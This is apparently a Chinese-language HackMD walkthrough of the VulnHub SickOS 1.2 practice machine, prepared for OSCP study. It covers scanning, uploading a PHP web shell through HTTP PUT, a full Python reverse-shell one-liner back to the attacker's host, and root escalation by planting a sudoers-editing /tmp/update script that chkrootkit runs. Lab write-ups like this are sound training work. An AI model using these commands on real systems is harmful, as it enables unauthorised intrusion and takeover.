# Target complete - SICKOS: 1.2 Download URL: https://www.vulnhub.com/entry/sickos-12%2C144/ {%hackmd FEwWUB_uQXiEWEj9MsaEgA %} ## Step: 1. nmap 掃完後只有 20 跟 80 port,80 port 打開是一個人頭… ![](https://i.imgur.com/0I1rzXp.png) 2. 用 dirb 去掃有哪些目錄,有掃出 /test 這個路徑 * $dirb http://<IP> * ![](https://i.imgur.com/kda3gO9.png) 3. 打開此頁後,是 lighttpd 1.4.28 版本,用 searchsploit 去找,沒有此版本的洞可以打 ![](https://i.imgur.com/VocCft3.png) 4. 看看 1.4.x 這包看看 * $searchsploit -m 31396 * 恩…好像沒什麼可以用的 5. 用 curl 去看看 * curl -X OPTIONS -v http://172.20.10.4/test * 有 PUT 可以用 * ![](https://i.imgur.com/2ghNJtf.png) 6. 上傳 cmd 的 php code 上去 * `curl -v -X PUT -d '<?php echo system($_REQUEST['cmd']);?>' http://172.20.10.4/test/hi.php` * http://172.20.10.4/test 就會看到你剛上傳的檔案 ![](https://i.imgur.com/KMHxRVu.png) 7. 網頁打開 http://172.20.10.4/test/hi.php?cmd=whoami 就可以開始用指令了 ![](https://i.imgur.com/Ixy5c7m.png) 8. 接著就可以用 python reverse shell 來做壞事 * 在 kali 用 `$nc -lvp 4444` * 在 cmd後面接`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.20.10.3",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'` * 重點來了,發現怎麼樣都彈不回來,後來改用 443 就可以了,應該是 fw 有擋(iptable)。 * 成功拿到 shell。 ![](https://i.imgur.com/d0Ary38.png) 9. 老樣子想辨法提權 * uname -rn ,得知 kernel 是 3.11.0-15-generic * lsb_release -a ,得知 ubuntu 12.04 * searchsploit ubuntu 12.04 ![](https://i.imgur.com/DRo1l40.png) * 看看 34134 這包能不能用 10. 結果無法從靶機 wget file,應該是防火牆有擋,連 ping 都無法 ![](https://i.imgur.com/M8YPWtk.png) 11. 看看有哪些人的家目錄可以找東西 * `$cat /etc/passwd ; cd /home/john ; ls` 什麼都沒有 12. `$cat /etc/crontab`,看看 cron 有跑什麼東西 (實際上不知道為什麼可以聯想到要來這裡看…) 13. `$ls /etc/cron.daily` * 有個 chkrootkit 的 tool 14. `$chkrootkit -V`,版本是 0.49 版 15. `$searchsploit chkrootkit` ![](https://i.imgur.com/Ffn4ftR.png) 16. `chkrootkit 0.49漏洞原理:chkrootkit有crontab,会定期以root身份执行/tmp/update文件。如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/ tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。 漏洞利用: 在/tmp目录下新建update文件,做我们想让root帮我们做的事` 17. 所以可以在 /tmp/update 裡面用指令把 sudoer 改掉 * `$ls -al /etc/sudoers`,權限只有 r * ![](https://i.imgur.com/OU4exCG.png) 18. 所以把這檔案改成 w,並把 www-data 的身份寫到 sudoers * `echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > update` ![](https://i.imgur.com/cqXaL49.png) * 記得要把 update 這個檔案加上執行的權限, `$ chmod a+x update` 19. 等個一分鐘後應該就會被執行了,此時就可以切到 root 去了 ![](https://i.imgur.com/Kpnt5OB.png) 20. `$cd /root && ls` 就有 flag 了 ![](https://i.imgur.com/IWulL1O.png) ## Writeup 參考: * https://blog.csdn.net/elephantxiang/article/details/122463492 * https://blog.christophetd.fr/write-up-sickos-1-2/ * https://www.twblogs.net/a/5ef0fae11f92b2f1a17d2333 * https://www.c0dedead.io/sickos-1-2-walkthrough/ * https://www.cnblogs.com/micr067/p/11396129.html ###### tags: `target` `OSCP`